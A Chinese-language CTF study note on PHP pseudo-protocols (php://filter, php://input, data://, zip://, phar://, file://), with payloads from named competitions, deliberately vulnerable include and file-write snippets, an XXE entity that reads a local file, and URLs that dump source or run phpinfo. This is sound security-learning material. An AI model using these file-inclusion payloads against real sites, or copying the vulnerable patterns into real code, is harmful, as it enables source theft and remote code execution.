理清一下,每个协议的利用思路

相关栗子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
三个白帽
payload:php://filter/write=convert.base64-decode/resource=shell.php
bypass:死亡die,base64在解码时会忽略特殊字符

pctf2016
payload:data:text/plain;base64,MS50eHQ=
bypass:stripos等if判断

hctf2016+swpu2016
payload1+payload2
payload1:php://filter/convert.base64-encode/resource=../flag.php
payload2:phar://xxx.jpg/shell

西安华山杯2016
payload:php://input
payload:data:text/plain;base64,xxxx

php://

php://filter

这个经常在ctf比赛中用来读取源码,返回的是base64加密后的结果。
假设index.php源码如下:
读取文件。在

1
2
3
4
<?php
@include($_GET["file"]);
show_source(__FILE__);
?>

利用php://filter读取index.php源码

1
http://XXX/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

死亡退出

1
2
3
4
5
6
7
8
9
10
11
12
<?php
show_source(__FILE__);
$c="<?php exit;?>";
@$c.=$_POST['c'];
@$filename=$_POST['file'];
if(!isset($filename))
{
file_put_contents('tmp.php', '');
}
@file_put_contents($filename, $c);
include('tmp.php');
?>

php://input

1
2
3
4
5
6
7
8
9
10
11
<?php
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
include($file); //class.php
}else{
echo "you are not admin ! ";
}
?>

file://

直接使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php  
省略
function upload_please_by_url($url){
if (1 === preg_match('#^[a-z]{3,5}://#', $url)) # Is URL?
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_FAILONERROR, true);
if (false === ($file_data = curl_exec($ch)))
{
htmlDisplayError('cURL failed.'); }
else
{
// Thanks
upload_please_thx($file_data); }
}
else
{
htmlDisplayError('Your URL looks errorneous.'); }
}
省略
?>

curl_exec($ch)中的$ch可控,原本是希望能curl到远程服务器上的资源,但这里可以利用file://读取到本地敏感文件

结合xxe

比如XXE中,经常使用它来引入外部实体符号。比如以下payload:

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///c://TEST.txt">]>
<root>&file;</root>

phar://

利用条件:
php>5.3
假设有个文件phpinfo.txt,其内容为,打包成zip压缩包,可以修改成任何后缀。

zip://

使用方法:

zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

测试现象:

1
http://192.168.0.31/cmd.php?file=zip://C:/phpStudy/PHPTutorial/WWW/phpinfo.jpg%23phpinfo.php

先将要执行的PHP代码写好文件名为phpinfo.txt,将phpinfo.txt进行zip压缩,压缩文件名为phpinfo.zip,如果可以上传zip文件便直接上传,若不能便将phpinfo.zip重命名为phpinfo.jpg后在上传,其他几种压缩格式也可以这样操作。
由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径

bzip2://

使用方法:

1
compress.zlib://file.gz

测试:

1
192.168.0.31/cmd.php?file=compress.bzip2://./phpinfo.jpg

zlib://

使用方法:

1
compress.zlib://file.gz

测试现象:

data://

1
2
3
4
5
6
7
8
访问http://localhost:88/test.php?file=data:text/plain,<?php phpinfo();?>
执行phpinfo
访问http://localhost:88/test.php?file=data:text/plain,aaaaa
输出aaaaa
访问http://localhost:88/test.php?file=data:text/plain;base64,PD9waHAgIA0KcGhwaW5mbygpOw0KPz4=
执行phpinfo
访问http://localhost:88/test.php?file=data:text/plain;base64,aaaaaa
输出aaaaaa base64解码后的内容

如果用file_get_contents函数做测试的话,大多都和include函数相同,不同的就是php代码不能解析,直接输出

参考文章:
浅谈php伪协议及在CTF比赛中的应用https://chybeta.github.io/2007/06/22/%E6%B5%85%E8%B0%88php%E4%BC%AA%E5%8D%8F%E8%AE%AE%E5%8F%8A%E5%9C%A8CTF%E6%AF%94%E8%B5%9B%E4%B8%AD%E7%9A%84%E5%BA%94%E7%94%A8/
php 伪协议
https://lorexxar.cn/2016/09/14/php-wei/
PHP伪协议分析与应用
http://www.4o4notfound.org/index.php/archives/31/